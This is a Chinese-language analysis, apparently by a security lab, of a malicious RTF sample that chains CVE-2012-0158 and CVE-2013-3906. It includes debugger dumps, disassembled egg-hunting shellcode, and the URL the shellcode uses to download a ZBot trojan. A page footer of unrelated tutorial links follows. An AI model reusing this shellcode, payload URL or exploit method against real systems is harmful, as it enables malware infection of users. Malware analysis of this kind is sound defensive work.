Office”组合”式漏洞攻击样本分析
by hcl, nine8 of code audit labs of vulnhunt.com
1 概述
网上公开一个疑似CVE-2014-1761的RTF样本,翰海源分析发现该样本并非CVE-2014-1761,而是在一个RTF样本中同时包括了两个漏洞,分别为CVE-2012-0158和CVE-2013-3906,比较特殊。
昨日,macfee在其Blog上也公布了一篇一个RTF样本包含CVE-2010-3333和CVE-2013-3906两个漏洞的文章。两个样本比较相似。
2 样本分析
2.1 漏洞CVE-2012-0158
1) 如果没有安装0158的补丁,在堆喷射后,会首先触发0158漏洞,拷贝0xF00字节栈溢出后,通过覆盖返回地址实现利用
eax=00121700 ebx=0b7a00e0 ecx=7c93003d edx=0ef10020 esi=08ece6bc edi=00000000
eip=275a2738 esp=001216dc ebp=00121708 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
MSCOMCTL!DllGetClassObject+0xb451:
275a2738 e863fdffff call MSCOMCTL!DllGetClassObject+0xb1b9 (275a24a0)
0:000> dd esp
001216dc 00121700 0b7a00e0 00000f00 00000000
001216ec 08ece6bc 0b7a00e0 6a626f43 00000064
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00121708 275e727b 08ece6bc 0b7a00e0 00000000 MSCOMCTL!DllGetClassObject+0xb451
00121730 275e75c2 08ece6bc 0b7a00e0 0b7a00e0 MSCOMCTL!DLLGetDocumentation+0xcf1
0:000> p
eax=00000000 ebx=0b7a00e0 ecx=7c93003d edx=00140608 esi=08ece6bc edi=00000000
eip=275a273d esp=001216dc ebp=00121708 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSCOMCTL!DllGetClassObject+0xb456:
275a273d 8bf0 mov esi,eax
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00121708 27606efe 4a454247 42474642 275f4a62 MSCOMCTL!DllGetClassObject+0xb456
00121754 275e0d69 00040110 00010000 00010000 MSCOMCTL!DllUnregisterServer+0x6ec6
2) Shellcode不存在ROP,漏洞触发成功后,jmp esp跳转到栈上的Egg Hunting的前半段Shellcode,通过内存遍历搜寻Flag为的0×78784747、0×78784747、0xE3E3ACAC的Egg Hunting的后半段Shellcode。
3) 0158对应的样本object如下
2.2 漏洞CVE-2013-3906
1) 如果安装了CVE-2012-0158的补丁,那么在堆喷射之后,TIF的StripByCounts的第9个value为0xFFFF00B2,导致与其他value累加之后整数溢出,导致了堆溢出,覆盖vtable,直接call到0a0a0a0a的堆喷射区域,执行shellcode。
2) 通过ActiveX12.bin堆喷射的Shellcode与0158的基本一样,解密后内存搜寻相同的Flag,寻找Egg Hunting的shellcode的后半段
3) 喷射的shellcode如下:
0a0a0a0e ebc0 jmp 0a0a09d0
0a0a0a10 0a0a or cl,byte ptr [edx]
0a0a0a12 0a0a or cl,byte ptr [edx]
0:000> u 0a0a09d0
0a0a09d0 43 inc ebx
0a0a09d1 43 inc ebx
0a0a09d2 43 inc ebx
0a0a09d3 43 inc ebx
0a0a09d4 43 inc ebx
0a0ffad4 31db xor ebx,ebx
0a0ffad6 6681cbff0f or bx,0FFFh
0a0ffadb 43 inc ebx
0a0ffadc 6a08 push 8
0a0ffade 53 push ebx
0a0ffadf 8b442408 mov eax,dword ptr [esp+8]
0a0ffae3 ffd0 call eax
0a0ffae5 85c0 test eax,eax
0a0ffae7 75ed jne 0a0ffad6
0a0ffae9 b847477878 mov eax,78784747h
0a0ffaee 89df mov edi,ebx
0a0ffaf0 af scas dword ptr es:[edi]
0a0ffaf1 75e8 jne 0a0ffadb
0a0ffaf3 af scas dword ptr es:[edi]
0a0ffaf4 75e5 jne 0a0ffadb
0a0ffaf6 813facace3e3 cmp dword ptr [edi],0E3E3ACACh
4) 样本中对应的压缩流及TIF如下:
2.3 Egg Hunting Shellcode
1) 通过URLDownloadToFileA从http://alienstub.com/ticket/coke.exe下载ZBot木马到如下路径:
C:DOCUME~1当前用户LOCALS~1Temp..Application DataMicrosoftWindowsspoolsv.exe
2) 同时会清除注册表的如下键值,以防止用户在此运行后出现文档错误恢复或安全模式运行等。
SoftwareMicrosoftOffice[Version]WordResiliencyDisabledItems
SoftwareMicrosoftOffice[Version]WordResiliencyStartupItems.
3) 搜寻标记为0×78784747、0×78784747、0xE3E3ACAC, 对应样本Object为:
3. 恶意程序
下载执行的恶意程序为ZBot木马,可以访问我们翰海源的B超系统,来查看该木马的详细行为细节:
https://b-chao.com/index.php/Index/show_detail/Sha1/C09D8EC529773CBE4C5E351DC0ABD4724E2DCF3C
4. 参考
http://blogs.mcafee.com/mcafee-labs/rtf-attack-takes-advantage-of-multiple-exploits
http://blog.vulnhunt.com/index.php/2014/04/04/office%E7%BB%84%E5%90%88%E5%BC%8F%E6%BC%8F%E6%B4%9E%E6%94%BB%E5%87%BB%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/
- mssql 获取表空间大小
- SQLite 带你入门
- Windows下Nginx+Mysql+Php(wnmp)环境搭建
- LNMP源码编译安装(centos7+nginx1.9+mysql5.6+php7)
- MySQL SHOW PROFILE(剖析报告)的查看
- PHP连接MySQL数据库的三种方式(mysql、mysqli、pdo)
- 如何查看已经安装的nginx、apache、mysql和php的编译参数
- 连仕彤博客Centos7安装Mysql数据库
- sql server 2008 操作数据表
- sql server 使用函数辅助查询
- sql server存储过程编程
- sql server 2008 数据库的完整性约束
- sql server T-SQL 基础
- sql server 触发器
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 怎么测试Linux下tcp最大连接数限制详解
- Laravel 5.1 框架Blade模板引擎用法实例分析
- 使用pygame实现垃圾分类小游戏功能(已获校级二等奖)
- Linux 系统下安装JDK1.8的教程详解
- php学习笔记之字符串常见操作总结
- Laravel5.1 框架模型工厂ModelFactory用法实例分析
- 关于AIX挂载NFS写入效率低效的解决办法
- Linux系统下部署项目的设置办法
- PHP利用缓存处理用户注册时的邮箱验证,成功后用户数据存入数据库操作示例
- ubantu 16.4下Hadoop完全分布式搭建实战教程
- Laravel5.1 框架模型查询作用域定义与用法实例分析
- 整理Linux中字符串的相关操作技巧
- Laravel5.1 框架Middleware中间件基本用法实例分析
- Linux基础命令之mktemp详解
- TP3.2.3框架使用CKeditor编辑器在页面中上传图片的方法分析